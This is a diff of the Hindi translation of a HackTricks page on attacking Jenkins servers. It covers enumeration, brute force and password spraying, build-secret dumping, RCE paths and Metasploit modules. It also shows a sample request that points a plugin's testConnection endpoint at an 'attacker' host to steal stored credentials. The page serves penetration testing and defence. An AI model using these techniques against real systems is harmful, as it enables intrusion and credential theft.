mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-ci-cd/jenkins-security/basic-jenkins-inf
This commit is contained in:
Translator
@@ -4,25 +4,25 @@
|
||||
|
||||
## बुनियादी जानकारी
|
||||
|
||||
Jenkins एक उपकरण है जो **निरंतर एकीकरण** या **निरंतर वितरण** (CI/CD) वातावरण स्थापित करने के लिए एक सीधा तरीका प्रदान करता है, लगभग **किसी भी** संयोजन के लिए **प्रोग्रामिंग भाषाओं** और स्रोत कोड रिपॉजिटरी का उपयोग करते हुए पाइपलाइनों के माध्यम से। इसके अलावा, यह विभिन्न नियमित विकास कार्यों को स्वचालित करता है। जबकि Jenkins **व्यक्तिगत चरणों के लिए स्क्रिप्ट बनाने की आवश्यकता** को समाप्त नहीं करता है, यह निर्माण, परीक्षण और तैनाती उपकरणों के पूरे अनुक्रम को एकीकृत करने का एक तेज़ और अधिक मजबूत तरीका प्रदान करता है, जो कि मैन्युअल रूप से आसानी से बनाया जा सकता है।
|
||||
Jenkins एक ऐसा टूल है जो pipelines का उपयोग करके लगभग **कोई भी** संयोजन — जैसे **प्रोग्रामिंग भाषाएँ** और source code repositories — के लिए **continuous integration** या **continuous delivery** (CI/CD) वातावरण स्थापित करने का एक सरल तरीका प्रदान करता है। इसके अलावा, यह कई नियमित विकास कार्यों को स्वचालित करता है। हालांकि Jenkins व्यक्तिगत चरणों के लिए **अलग‑अलग चरणों के लिए स्क्रिप्ट बनाने की आवश्यकता** को समाप्त नहीं करता, यह build, test, और deployment टूल्स के पूरे क्रम को एकीकृत करने का एक तेज़ और अधिक मजबूत तरीका प्रदान करता है, जिसे मैन्युअल रूप से आसानी से तैयार करना कठिन होता है।
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
## बिना प्रमाणीकरण के सूचीकरण
|
||||
## बिना प्रमाणीकरण के एन्यूमरेशन
|
||||
|
||||
दिलचस्प Jenkins पृष्ठों की खोज करने के लिए बिना प्रमाणीकरण के जैसे (_/people_ या _/asynchPeople_, यह वर्तमान उपयोगकर्ताओं की सूची बनाता है) आप उपयोग कर सकते हैं:
|
||||
प्रमाणीकरण के बिना रोचक Jenkins पेजों की खोज करने के लिए जैसे (_/people_ or _/asynchPeople_, this lists the current users) आप उपयोग कर सकते हैं:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_enum
|
||||
```
|
||||
जांचें कि क्या आप प्रमाणीकरण की आवश्यकता के बिना कमांड निष्पादित कर सकते हैं:
|
||||
जांच करें कि क्या आप authentication की आवश्यकता के बिना commands execute कर सकते हैं:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_command
|
||||
```
|
||||
बिना क्रेडेंशियल्स के आप _**/asynchPeople/**_ पथ या _**/securityRealm/user/admin/search/index?q=**_ में **यूजरनेम** देख सकते हैं।
|
||||
बिना credentials के आप _**/asynchPeople/**_ path या _**/securityRealm/user/admin/search/index?q=**_ में जाकर **usernames** देख सकते हैं।
|
||||
|
||||
आप _**/oops**_ या _**/error**_ पथ से Jenkins संस्करण प्राप्त कर सकते हैं।
|
||||
आप संभवतः _**/oops**_ या _**/error**_ path से Jenkins का version प्राप्त कर सकते हैं।
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -34,132 +34,148 @@ https://github.com/gquere/pwn_jenkins
|
||||
|
||||
## लॉगिन
|
||||
|
||||
बुनियादी जानकारी में आप **Jenkins के अंदर लॉगिन करने के सभी तरीके** देख सकते हैं:
|
||||
basic information में आप **Jenkins के अंदर लॉगिन करने के सभी तरीके** देख सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### पंजीकरण
|
||||
### Register
|
||||
|
||||
आप Jenkins उदाहरणों को खोजने में सक्षम होंगे जो **आपको एक खाता बनाने और इसके अंदर लॉगिन करने की अनुमति देते हैं। बस इतना आसान।**
|
||||
आप ऐसे Jenkins instances पाएंगे जो **आपको एक account बनाने और अंदर लॉगिन करने की अनुमति देते हैं। बस इतना सरल।**
|
||||
|
||||
### **SSO लॉगिन**
|
||||
### **SSO Login**
|
||||
|
||||
यदि **SSO** **कार्यात्मकता**/**प्लगइन्स** मौजूद थे तो आपको एक परीक्षण खाते (यानी, एक परीक्षण **Github/Bitbucket खाता**) का उपयोग करके एप्लिकेशन में **लॉग-इन** करने का प्रयास करना चाहिए। [**यहां**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/) से ट्रिक करें।
|
||||
अगर **SSO** **functionality**/**plugins** मौजूद थे तो आपको एक टेस्ट अकाउंट (यानी एक टेस्ट **Github/Bitbucket account**) का उपयोग करके application में **log-in** करने का प्रयास करना चाहिए। Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
### ब्रूटफोर्स
|
||||
### Bruteforce
|
||||
|
||||
**Jenkins** में **पासवर्ड नीति** और **यूजरनेम ब्रूट-फोर्स शमन** की कमी है। यह **ब्रूट-फोर्स** उपयोगकर्ताओं के लिए आवश्यक है क्योंकि **कमजोर पासवर्ड** या **पासवर्ड के रूप में यूजरनेम** का उपयोग हो सकता है, यहां तक कि **पासवर्ड के रूप में उल्टे यूजरनेम** भी हो सकते हैं।
|
||||
**Jenkins** में **password policy** और **username brute-force mitigation** का अभाव है। उपयोगकर्ताओं पर **brute-force** करना आवश्यक है क्योंकि **weak passwords** या **usernames as passwords** इस्तेमाल हो सकते हैं, यहां तक कि **reversed usernames as passwords** भी।
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_login
|
||||
```
|
||||
### पासवर्ड स्प्रेइंग
|
||||
### Password spraying
|
||||
|
||||
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
इस्तेमाल करें [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) या [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
|
||||
### IP व्हाइटलिस्टिंग बायपास
|
||||
### IP Whitelisting Bypass
|
||||
|
||||
कई संगठन **SaaS-आधारित स्रोत नियंत्रण प्रबंधन (SCM) सिस्टम** जैसे GitHub या GitLab को **आंतरिक, स्वयं-होस्टेड CI** समाधान जैसे Jenkins या TeamCity के साथ मिलाते हैं। यह सेटअप CI सिस्टम को **SaaS स्रोत नियंत्रण विक्रेताओं** से **वेबहुक घटनाओं** को **प्राप्त** करने की अनुमति देता है, मुख्य रूप से पाइपलाइन नौकरियों को ट्रिगर करने के लिए।
|
||||
कई संगठन **SaaS-based source control management (SCM) systems** जैसे GitHub या GitLab को **internal, self-hosted CI** समाधान जैसे Jenkins या TeamCity के साथ जोड़ते हैं। यह सेटअप CI सिस्टम को **SaaS source control vendors से webhook events प्राप्त करने** की अनुमति देता है, मुख्य रूप से pipeline jobs ट्रिगर करने के लिए।
|
||||
|
||||
इसको प्राप्त करने के लिए, संगठन **SCM प्लेटफार्मों** के **IP रेंज** को **व्हाइटलिस्ट** करते हैं, जिससे उन्हें **वेबहुक** के माध्यम से **आंतरिक CI सिस्टम** तक पहुंचने की अनुमति मिलती है। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि **कोई भी** GitHub या GitLab पर **खाता** बना सकता है और इसे **वेबहुक** को **ट्रिगर** करने के लिए कॉन्फ़िगर कर सकता है, संभावित रूप से **आंतरिक CI सिस्टम** को अनुरोध भेज सकता है।
|
||||
इसे हासिल करने के लिए, संगठन **SCM platforms** के **IP ranges** को **whitelist** करते हैं, जिससे उन्हें **webhooks** के माध्यम से **internal CI system** तक पहुँचने की अनुमति मिलती है। हालाँकि, यह ध्यान देने योग्य है कि **किसी भी व्यक्ति (anyone)** GitHub या GitLab पर एक **account** बना सकता है और इसे **trigger a webhook** करने के लिए कॉन्फ़िगर कर सकता है, जिससे संभावित रूप से **internal CI system** पर अनुरोध भेजे जा सकते हैं।
|
||||
|
||||
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
देखें: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
|
||||
## आंतरिक Jenkins दुरुपयोग
|
||||
|
||||
इन परिदृश्यों में हम मान लेंगे कि आपके पास Jenkins तक पहुंचने के लिए एक वैध खाता है।
|
||||
इन परिदृश्यों में हम मान लेते हैं कि आपके पास Jenkins तक पहुँचने के लिए एक वैध खाता है।
|
||||
|
||||
> [!WARNING]
|
||||
> Jenkins में कॉन्फ़िगर किए गए **Authorization** तंत्र और समझौता किए गए उपयोगकर्ता की अनुमति के आधार पर, आप **निम्नलिखित हमलों को करने में सक्षम हो सकते हैं या नहीं।**
|
||||
> यह इस बात पर निर्भर करता है कि Jenkins में configured **Authorization** mechanism और compromised user की permissions क्या हैं — आप **निम्नलिखित हमले कर पाएँगे या नहीं।**
|
||||
|
||||
अधिक जानकारी के लिए बुनियादी जानकारी देखें:
|
||||
अधिक जानकारी के लिए मूल जानकारी देखें:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### उपयोगकर्ताओं की सूची बनाना
|
||||
### उपयोगकर्ताओं की सूची
|
||||
|
||||
यदि आपने Jenkins तक पहुंच प्राप्त कर ली है, तो आप [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) में अन्य पंजीकृत उपयोगकर्ताओं की सूची बना सकते हैं।
|
||||
यदि आप Jenkins तक पहुँच चुके हैं, तो आप अन्य पंजीकृत उपयोगकर्ताओं को इस URL पर सूचीबद्ध कर सकते हैं: [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
|
||||
### स्पष्ट पाठ रहस्यों को खोजने के लिए निर्माणों को डंप करना
|
||||
### Dumping builds to find cleartext secrets
|
||||
|
||||
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
|
||||
इस्तेमाल करें [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) ताकि build console outputs और build environment variables dump करके उम्मीद की जा सके कि cleartext secrets मिल सकें।
|
||||
```bash
|
||||
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
|
||||
cd build_dumps
|
||||
gitleaks detect --no-git -v
|
||||
```
|
||||
### **SSH क्रेडेंशियल चुराना**
|
||||
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
|
||||
|
||||
यदि समझौता किया गया उपयोगकर्ता **एक नया Jenkins नोड बनाने/संशोधित करने के लिए पर्याप्त विशेषाधिकार रखता है** और SSH क्रेडेंशियल पहले से अन्य नोड्स तक पहुँचने के लिए संग्रहीत हैं, तो वह **उन क्रेडेंशियल्स को चुरा सकता है** एक नोड बनाकर/संशोधित करके और **एक होस्ट सेट करके जो क्रेडेंशियल्स को रिकॉर्ड करेगा** बिना होस्ट कुंजी की पुष्टि किए:
|
||||
कुछ plugins Jelly `validateButton` या `test connection` handlers को `/descriptorByName/<Class>/testConnection` जैसे paths के तहत expose करते हैं। जब handlers **do not enforce POST or permission checks**, आप:
|
||||
|
||||
- POST को GET में बदलें और Crumb drop करके CSRF checks को bypass करें।
|
||||
- यदि कोई `Jenkins.ADMINISTER` check मौजूद नहीं है तो handler को low-priv/anonymous के रूप में trigger करें।
|
||||
- एक admin पर CSRF करें और host/URL parameter बदलकर credentials को exfiltrate करें या outbound calls trigger करें।
|
||||
- रिस्पॉन्स एरर्स (उदा., `ConnectException`) को SSRF/port-scan oracle के रूप में उपयोग करें।
|
||||
|
||||
Example GET (no Crumb) turning a validation call into SSRF/credential exfiltration:
|
||||
```http
|
||||
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
|
||||
Host: jenkins.local:8080
|
||||
```
|
||||
If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
|
||||
|
||||
### **SSH Credentials चोरी करना**
|
||||
|
||||
यदि compromised user के पास **नया Jenkins node create/modify करने के पर्याप्त privileges** हैं और SSH credentials पहले से ही अन्य nodes तक access के लिए स्टोर हैं, तो वह एक node create/modify करके और **ऐसा host सेट करके जो credentials रिकॉर्ड करेगा** बिना host key verify किए, उन credentials को **चुरा** सकता है:
|
||||
|
||||
.png>)
|
||||
|
||||
आप आमतौर पर Jenkins ssh क्रेडेंशियल्स को **वैश्विक प्रदाता** (`/credentials/`) में पाएंगे, इसलिए आप उन्हें किसी अन्य रहस्य की तरह डंप भी कर सकते हैं। अधिक जानकारी के लिए [**रहस्यों को डंप करने के अनुभाग**](./#dumping-secrets) में देखें।
|
||||
आम तौर पर आपको Jenkins ssh credentials एक **global provider** (`/credentials/`) में मिलेंगी, इसलिए आप उन्हें किसी भी अन्य secret की तरह dump भी कर सकते हैं। अधिक जानकारी के लिए [**Dumping secrets section**](#dumping-secrets) देखें।
|
||||
|
||||
### **Jenkins में RCE**
|
||||
|
||||
Jenkins सर्वर में **शेल प्राप्त करना** हमलावर को सभी **रहस्यों** और **env वेरिएबल्स** को लीक करने और **एक ही नेटवर्क में स्थित अन्य मशीनों का शोषण करने** का अवसर देता है या यहां तक कि **क्लाउड क्रेडेंशियल्स** इकट्ठा करने का भी।
|
||||
Jenkins server में **shell प्राप्त करना** attacker को यह मौका देता है कि वह सभी **secrets** और **env variables** को leak करे और उसी नेटवर्क में मौजूद अन्य machines को **exploit** करे या यहाँ तक कि **cloud credentials** भी gather कर ले।
|
||||
|
||||
डिफ़ॉल्ट रूप से, Jenkins **SYSTEM के रूप में चलेगा**। इसलिए, इसे समझौता करने से हमलावर को **SYSTEM विशेषाधिकार** मिलेंगे।
|
||||
डिफ़ॉल्ट रूप से, Jenkins **SYSTEM के रूप में run** करेगा। इसलिए, इसे compromise करने पर attacker को **SYSTEM privileges** मिल जाएंगे।
|
||||
|
||||
### **प्रोजेक्ट बनाना/संशोधित करना RCE**
|
||||
### **RCE: किसी project को create/modify करना**
|
||||
|
||||
प्रोजेक्ट बनाना/संशोधित करना Jenkins सर्वर पर RCE प्राप्त करने का एक तरीका है:
|
||||
किसी project को create/modify करना Jenkins server पर RCE प्राप्त करने का एक तरीका है:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-project.md
|
||||
{{#endref}}
|
||||
|
||||
### **Groovy स्क्रिप्ट निष्पादित करना RCE**
|
||||
### **RCE: Groovy script execute करना**
|
||||
|
||||
आप एक Groovy स्क्रिप्ट निष्पादित करके भी RCE प्राप्त कर सकते हैं, जो एक नया प्रोजेक्ट बनाने की तुलना में अधिक छिपा हुआ हो सकता है:
|
||||
आप Groovy script execute करके भी RCE प्राप्त कर सकते हैं, जो नया project बनाने की तुलना में अधिक stealthy हो सकता है:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-with-groovy-script.md
|
||||
{{#endref}}
|
||||
|
||||
### पाइपलाइन बनाना/संशोधित करना RCE
|
||||
### **RCE: Pipeline बनाना/modify करना**
|
||||
|
||||
आप **पाइपलाइन बनाकर/संशोधित करके RCE प्राप्त कर सकते हैं**:
|
||||
आप **pipeline को create/modify करके भी RCE** प्राप्त कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## पाइपलाइन शोषण
|
||||
## Pipeline का शोषण
|
||||
|
||||
पाइपलाइनों का शोषण करने के लिए आपको अभी भी Jenkins तक पहुँच प्राप्त करनी होगी।
|
||||
Pipelines को exploit करने के लिए आपके पास अभी भी Jenkins तक access होना आवश्यक है।
|
||||
|
||||
### बिल्ड पाइपलाइन्स
|
||||
### Build Pipelines
|
||||
|
||||
**पाइपलाइन्स** को **प्रोजेक्ट्स में बिल्ड तंत्र के रूप में** भी उपयोग किया जा सकता है, इस मामले में इसे एक **फाइल के रूप में कॉन्फ़िगर किया जा सकता है जो पाइपलाइन सिंटैक्स को शामिल करेगा**। डिफ़ॉल्ट रूप से `/Jenkinsfile` का उपयोग किया जाता है:
|
||||
**Pipelines** को projects में **build mechanism** के रूप में भी उपयोग किया जा सकता है; ऐसे मामलों में repository के अंदर एक **file** configure की जाती है जो pipeline syntax रखेगी। डिफ़ॉल्ट रूप से `/Jenkinsfile` उपयोग होता है:
|
||||
|
||||
.png>)
|
||||
|
||||
यह भी संभव है कि **पाइपलाइन कॉन्फ़िगरेशन फ़ाइलों को अन्य स्थानों पर संग्रहीत किया जाए** (उदाहरण के लिए अन्य रिपॉजिटरी में) ताकि **रिपॉजिटरी** **पहुँच** और पाइपलाइन पहुँच को **अलग** किया जा सके।
|
||||
यह भी संभव है कि pipeline configuration files को अन्य स्थानों (उदाहरण के लिए अन्य repositories) में store किया जाए ताकि repository access और pipeline access को अलग रखा जा सके।
|
||||
|
||||
यदि एक हमलावर के पास **उस फ़ाइल पर लिखने का अधिकार है** तो वह इसे **संशोधित** कर सकेगा और **संभावित रूप से पाइपलाइन को ट्रिगर** कर सकेगा बिना Jenkins तक पहुँच प्राप्त किए।\
|
||||
संभव है कि हमलावर को **कुछ शाखा सुरक्षा को बायपास करना पड़े** (प्लेटफ़ॉर्म और उपयोगकर्ता विशेषाधिकार के आधार पर, उन्हें बायपास किया जा सकता है या नहीं)।
|
||||
यदि किसी attacker के पास उस file पर **write access** है तो वह इसे **modify** कर सकेगा और बिना Jenkins तक access के भी pipeline को **potentially trigger** कर सकता है.\
|
||||
हो सकता है कि attacker को कुछ branch protections **bypass** करने की आवश्यकता पड़े (platform और user privileges के अनुसार इन्हें bypass किया जा सकता है या नहीं)।
|
||||
|
||||
कस्टम पाइपलाइन को निष्पादित करने के लिए सबसे सामान्य ट्रिगर्स हैं:
|
||||
The most common triggers to execute a custom pipeline are:
|
||||
|
||||
- **मुख्य शाखा** पर **पुल अनुरोध** (या संभावित रूप से अन्य शाखाओं पर)
|
||||
- **मुख्य शाखा** पर **पुश** (या संभावित रूप से अन्य शाखाओं पर)
|
||||
- **मुख्य शाखा को अपडेट करें** और तब तक प्रतीक्षा करें जब तक कि इसे किसी तरह निष्पादित नहीं किया जाता
|
||||
- **Pull request** to the main branch (or potentially to other branches)
|
||||
- **Push to the main branch** (or potentially to other branches)
|
||||
- **Update the main branch** and wait until it's executed somehow
|
||||
|
||||
> [!NOTE]
|
||||
> यदि आप एक **बाहरी उपयोगकर्ता** हैं तो आपको **अन्य उपयोगकर्ता/संस्थान** के रिपॉजिटरी की **मुख्य शाखा** पर **PR बनाने** और **पाइपलाइन को ट्रिगर करने** की उम्मीद नहीं करनी चाहिए... लेकिन यदि यह **खराब कॉन्फ़िगर किया गया है** तो आप केवल **इसका शोषण करके कंपनियों को पूरी तरह से समझौता कर सकते हैं**।
|
||||
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
|
||||
|
||||
### पाइपलाइन RCE
|
||||
### Pipeline RCE
|
||||
|
||||
पिछले RCE अनुभाग में पहले से ही एक तकनीक का संकेत दिया गया था [**पाइपलाइन को संशोधित करके RCE प्राप्त करने के लिए**](./#rce-creating-modifying-pipeline)।
|
||||
पिछले RCE सेक्शन में पहले ही एक तकनीक बताई गई थी [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline)。
|
||||
|
||||
### Env वेरिएबल्स की जांच करना
|
||||
### Env variables की जाँच
|
||||
|
||||
यह संभव है कि **पूरी पाइपलाइन** या विशिष्ट चरणों के लिए **स्पष्ट पाठ env वेरिएबल्स** घोषित किए जाएं। ये env वेरिएबल्स **संवेदनशील जानकारी** नहीं होनी चाहिए, लेकिन एक हमलावर हमेशा **सभी पाइपलाइन** कॉन्फ़िगरेशन/Jenkinsfiles की **जांच कर सकता है**:
|
||||
पूरे pipeline या specific stages के लिए **clear text env variables** declare करना संभव है। ये env variables **sensitive info नहीं रखनी चाहिए**, पर एक attacker हमेशा सभी pipeline configurations/Jenkinsfiles को **check** कर सकता है:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
@@ -176,19 +192,19 @@ steps {
|
||||
```
|
||||
### रहस्यों को डंप करना
|
||||
|
||||
Jenkins द्वारा रहस्यों के साथ सामान्यतः कैसे व्यवहार किया जाता है, इसके बारे में जानकारी के लिए बुनियादी जानकारी देखें:
|
||||
Jenkins में आम तौर पर रहस्यों के साथ कैसे व्यवहार किया जाता है, इसकी बुनियादी जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
क्रेडेंशियल्स को **वैश्विक प्रदाताओं** (`/credentials/`) या **विशिष्ट परियोजनाओं** (`/job/<project-name>/configure`) के लिए **स्कोप किया जा सकता है**। इसलिए, सभी को निकालने के लिए आपको **कम से कम सभी परियोजनाओं से समझौता करना होगा** जो रहस्यों को शामिल करती हैं और कस्टम/जहरीले पाइपलाइनों को निष्पादित करना होगा।
|
||||
Credentials को **global providers** (`/credentials/`) या **specific projects** (`/job/<project-name>/configure`) के लिए scope किया जा सकता है। इसलिए, इन्हें सभी exfiltrate करने के लिए आपको **कम से कम उन सभी projects को compromise करना होगा** जिनमें secrets होते हैं और custom/poisoned pipelines execute करने होंगे।
|
||||
|
||||
एक और समस्या है, पाइपलाइन के **env** के अंदर एक **रहस्य** प्राप्त करने के लिए आपको **रहस्य का नाम और प्रकार जानना होगा**। उदाहरण के लिए, यदि आप एक **`usernamePassword`** **रहस्य** को **`string`** **रहस्य** के रूप में **लोड** करने की कोशिश करते हैं, तो आपको यह **त्रुटि** मिलेगी:
|
||||
एक और समस्या यह है कि pipeline के **env के अंदर secret** प्राप्त करने के लिए आपको **secret का नाम और प्रकार जानना** होगा। उदाहरण के लिए, अगर आप **`usernamePassword`** **secret** को **`string`** **secret** के रूप में **load** करने की कोशिश करते हैं तो आपको यह **error** मिलेगा:
|
||||
```
|
||||
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
|
||||
```
|
||||
यहाँ कुछ सामान्य गुप्त प्रकार लोड करने का तरीका है:
|
||||
यहाँ कुछ सामान्य secret प्रकार लोड करने का तरीका दिया गया है:
|
||||
```bash
|
||||
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
|
||||
sh '''
|
||||
@@ -216,46 +232,46 @@ env
|
||||
'''
|
||||
}
|
||||
```
|
||||
इस पृष्ठ के अंत में आप **सभी क्रेडेंशियल प्रकार** पा सकते हैं: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
> [!WARNING]
|
||||
> **सभी रहस्यों को एक साथ डंप करने** का सबसे अच्छा तरीका **Jenkins** मशीन को **समझौता करना** है (उदाहरण के लिए **बिल्ट-इन नोड** में एक रिवर्स शेल चलाना) और फिर **मास्टर कीज़** और **एन्क्रिप्टेड रहस्यों** को **लीक** करना और उन्हें ऑफलाइन डिक्रिप्ट करना।\
|
||||
> इसे करने के बारे में अधिक जानकारी [Nodes & Agents section](./#nodes-and-agents) और [Post Exploitation section](./#post-exploitation) में है।
|
||||
> सबसे अच्छा तरीका **dump all the secrets at once** प्राप्त करने का है — यानी **compromising** **Jenkins** मशीन (उदाहरण के लिए **built-in node** में reverse shell चलाकर) और फिर **leaking** **master keys** और **encrypted secrets** और उन्हें offline decrypt करना।\
|
||||
> More on how to do this in the [Nodes & Agents section](#nodes-and-agents) and in the [Post Exploitation section](#post-exploitation).
|
||||
|
||||
### ट्रिगर्स
|
||||
### Triggers
|
||||
|
||||
[दस्तावेज़ों](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers) से: `triggers` निर्देश **स्वचालित तरीकों को परिभाषित करता है जिनमें पाइपलाइन को फिर से ट्रिगर किया जाना चाहिए**। उन पाइपलाइनों के लिए जो GitHub या BitBucket जैसे स्रोत के साथ एकीकृत हैं, `triggers` आवश्यक नहीं हो सकते हैं क्योंकि वेबहुक-आधारित एकीकरण पहले से मौजूद हो सकता है। वर्तमान में उपलब्ध ट्रिगर्स हैं `cron`, `pollSCM` और `upstream`।
|
||||
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
|
||||
|
||||
क्रोन उदाहरण:
|
||||
Cron example:
|
||||
```bash
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
```
|
||||
चेक करें **दस्तावेज़ों में अन्य उदाहरण**।
|
||||
देखें **दस्तावेज़ों में अन्य उदाहरण**।
|
||||
|
||||
### नोड्स और एजेंट्स
|
||||
|
||||
एक **Jenkins उदाहरण** में **विभिन्न मशीनों में विभिन्न एजेंट चल सकते हैं**। हमलावर के दृष्टिकोण से, विभिन्न मशीनों तक पहुंच का मतलब है **चोरी करने के लिए विभिन्न संभावित क्लाउड क्रेडेंशियल्स** या **विभिन्न नेटवर्क एक्सेस** जो अन्य मशीनों का शोषण करने के लिए दुरुपयोग किया जा सकता है।
|
||||
एक **Jenkins instance** में अलग-अलग मशीनों पर **विभिन्न agents चल रहे हो सकते हैं**। एक attacker के दृष्टिकोण से, अलग-अलग मशीनों तक पहुंच का मतलब है चोरी करने के लिए **विभिन्न संभावित cloud credentials** या अन्य मशीनों का शोषण करने के लिए उपयोग में लायी जा सकने वाली **विभिन्न नेटवर्क एक्सेस**।
|
||||
|
||||
अधिक जानकारी के लिए बुनियादी जानकारी देखें:
|
||||
अधिक जानकारी के लिए मूल जानकारी देखें:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
आप `/computer/` में **कॉन्फ़िगर किए गए नोड्स** की गणना कर सकते हैं, आपको आमतौर पर \*\*`Built-In Node` \*\* (जो Jenkins चला रहा है) और संभावित रूप से अधिक मिलेंगे:
|
||||
आप `/computer/` में **configured nodes** को सूचीबद्ध कर सकते हैं; आमतौर पर आपको `Built-In Node` (जो Jenkins चला रहा होता है) और संभवतः अन्य मिलेंगे:
|
||||
|
||||
.png>)
|
||||
|
||||
**Built-In नोड को समझौता करना विशेष रूप से दिलचस्प है** क्योंकि इसमें संवेदनशील Jenkins जानकारी होती है।
|
||||
यह विशेष रूप से रुचिकर है कि Built-In node को compromise किया जाए क्योंकि इसमें संवेदनशील Jenkins जानकारी होती है।
|
||||
|
||||
आप यह संकेत देने के लिए कि आप **पाइपलाइन** को **बिल्ट-इन Jenkins नोड** में **चलाना** चाहते हैं, पाइपलाइन के अंदर निम्नलिखित कॉन्फ़िगरेशन निर्दिष्ट कर सकते हैं:
|
||||
यदि आप यह संकेत देना चाहते हैं कि आप **run** करना चाहते हैं **pipeline** को **built-in Jenkins node** में, तो आप pipeline के अंदर निम्नलिखित config निर्दिष्ट कर सकते हैं:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
```
|
||||
### पूरा उदाहरण
|
||||
### पूर्ण उदाहरण
|
||||
|
||||
एक विशेष एजेंट में पाइपलाइन, एक क्रॉन ट्रिगर के साथ, पाइपलाइन और स्टेज पर्यावरण चर के साथ, एक चरण में 2 चर लोड करना और एक रिवर्स शेल भेजना:
|
||||
विशिष्ट agent में Pipeline, एक cron trigger के साथ, pipeline और stage env variables के साथ, एक step में 2 variables load करना और एक reverse shell भेजना:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
@@ -286,7 +302,7 @@ cleanWs()
|
||||
}
|
||||
}
|
||||
```
|
||||
## मनमाना फ़ाइल पढ़ना से RCE
|
||||
## Arbitrary File Read to RCE
|
||||
|
||||
{{#ref}}
|
||||
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
|
||||
@@ -306,40 +322,38 @@ jenkins-rce-creating-modifying-project.md
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## पोस्ट एक्सप्लोइटेशन
|
||||
## Post Exploitation
|
||||
|
||||
### मेटास्प्लॉइट
|
||||
### Metasploit
|
||||
```
|
||||
msf> post/multi/gather/jenkins_gather
|
||||
```
|
||||
### Jenkins Secrets
|
||||
|
||||
आप `/credentials/` को एक्सेस करके रहस्यों की सूची बना सकते हैं यदि आपके पास पर्याप्त अनुमतियाँ हैं। ध्यान दें कि यह केवल `credentials.xml` फ़ाइल के अंदर के रहस्यों की सूची बनाएगा, लेकिन **बिल्ड कॉन्फ़िगरेशन फ़ाइलें** भी **अधिक क्रेडेंशियल्स** हो सकती हैं।
|
||||
|
||||
